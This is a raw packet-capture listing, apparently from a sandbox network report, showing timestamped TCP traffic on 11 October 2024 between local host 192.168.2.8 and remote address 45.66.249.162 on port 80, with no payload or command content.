Oct 11, 2024 22:32:39.680923939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.680959940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681015968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681026936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681049109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681073904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681173086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681185007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681195021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681207895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681225061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681296110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681307077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681318045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681329012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681329966 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681355000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681379080 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681432009 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681549072 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681560040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681570053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681590080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681590080 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681608915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681612015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681621075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681632042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681637049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681643963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681653976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681655884 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681680918 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681699038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681704044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681711912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681730986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681732893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681742907 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681749105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681752920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681766033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.681766987 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681783915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681801081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.681934118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682035923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682071924 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682115078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682131052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682143927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682151079 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682154894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682163954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682179928 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682197094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682219982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682231903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682245970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682252884 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682269096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682269096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682281971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682284117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682292938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682301044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682305098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682317972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682332039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682348013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682377100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682388067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682399035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682410002 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682425976 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682444096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682456970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682466984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682478905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682487965 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682512999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682535887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682548046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682559013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682579994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682594061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682760954 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682773113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682784081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682796001 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682810068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682832956 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682848930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682861090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682872057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682881117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682883978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.682894945 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682909966 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.682924986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.706826925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.706953049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.706974983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.706986904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.706999063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.707027912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.707039118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.707051992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.707057953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.707070112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.707082987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.707094908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.707094908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.707108974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.707119942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.707120895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.707135916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.707140923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.707165003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.707189083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.768920898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.768946886 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.768974066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.768985033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.768995047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769006014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769016981 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769026995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769037008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769047022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769057989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769054890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.769069910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769082069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769112110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.769113064 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769125938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769135952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769135952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.769148111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769150019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.769160032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769170046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769179106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.769201040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769203901 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.769212008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769223928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769229889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.769229889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.769234896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769247055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769253016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.769258022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769268036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.769268990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769282103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.769296885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.769306898 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.769335985 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.830840111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.830878973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.830902100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.830919981 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.830930948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.830941916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.830952883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.830964088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.830974102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.830985069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.830995083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.830993891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831024885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831036091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831043959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831046104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831058025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831064939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831068039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831079960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831089973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831091881 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831119061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831131935 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831166983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831178904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831190109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831199884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831209898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831216097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831221104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831239939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831253052 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831269026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831279993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831290960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831300020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831306934 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831310987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831334114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831366062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831374884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831413984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831423998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831434011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831454039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831471920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831547976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831557989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831568003 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831599951 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831614017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831631899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831641912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831643105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831653118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831660032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831665993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831685066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831707954 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831708908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831726074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831736088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831744909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831746101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831768036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831779957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831933975 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831969976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.831973076 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.831980944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832005024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832015038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832020044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832026005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832045078 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832068920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832146883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832165003 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832175016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832209110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832222939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832233906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832242966 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832250118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832252979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832268953 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832290888 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832468033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832479000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832489967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832499981 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832510948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832520008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832520962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832531929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832535028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832542896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832561970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832566977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832577944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832582951 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832588911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832603931 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832628012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832688093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832779884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832791090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832819939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832827091 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832833052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832844019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832854986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832878113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832879066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832891941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832899094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832902908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.832926035 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.832948923 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.833592892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.833604097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.833615065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.833637953 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.833638906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.833650112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.833661079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.833663940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.833672047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.833688021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.833719969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.833730936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.833741903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.833751917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.833775043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.833797932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.833815098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.833825111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.833834887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.833844900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.833862066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.833884954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857358932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857405901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857417107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857429028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857490063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857501030 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857503891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857513905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857534885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857536077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857553005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857562065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857567072 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857578993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857584000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857590914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857601881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857613087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857614040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857631922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857640028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857651949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857657909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857664108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857676983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857681036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857702971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857724905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.857773066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857784986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.857796907 CEST	80	49707	45.66.249.162	192.168.2.8
